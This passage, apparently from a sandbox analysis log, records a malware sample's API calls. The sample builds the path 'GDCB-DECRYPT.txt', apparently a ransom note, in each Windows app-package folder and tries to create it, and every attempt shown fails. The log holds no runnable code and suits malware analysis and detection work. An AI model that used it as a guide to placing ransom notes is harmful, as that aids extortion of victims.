Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.537] GetLastError () returned 0x3 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.537] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 308 [0170.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.537] GetLastError () returned 0x3 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.538] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 304 [0170.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.538] GetLastError () returned 0x3 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.538] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 316 [0170.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.538] GetLastError () returned 0x3 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.538] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 306 [0170.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsFeedback_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsfeedback_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.538] GetLastError () returned 0x3 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.538] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 302 [0170.538] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.538] GetLastError () returned 0x3 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.538] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.539] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 303 [0170.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.539] GetLastError () returned 0x3 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.539] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 311 [0170.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.539] GetLastError () returned 0x3 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.539] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 303 [0170.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.539] GetLastError () returned 0x3 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.539] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 298 [0170.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.539] GetLastError () returned 0x3 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.540] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 309 [0170.540] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.540] GetLastError () returned 0x3 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.540] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 311 [0170.540] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxIdentityProvider_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxidentityprovider_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.540] GetLastError () returned 0x3 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.540] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 300 [0170.540] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.540] GetLastError () returned 0x3 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.540] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 300 [0170.540] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.540] GetLastError () returned 0x3 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.540] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.541] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 303 [0170.541] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.541] GetLastError () returned 0x3 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.541] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.541] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 300 [0170.541] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\windows.devicesflow_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.devicesflow_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff 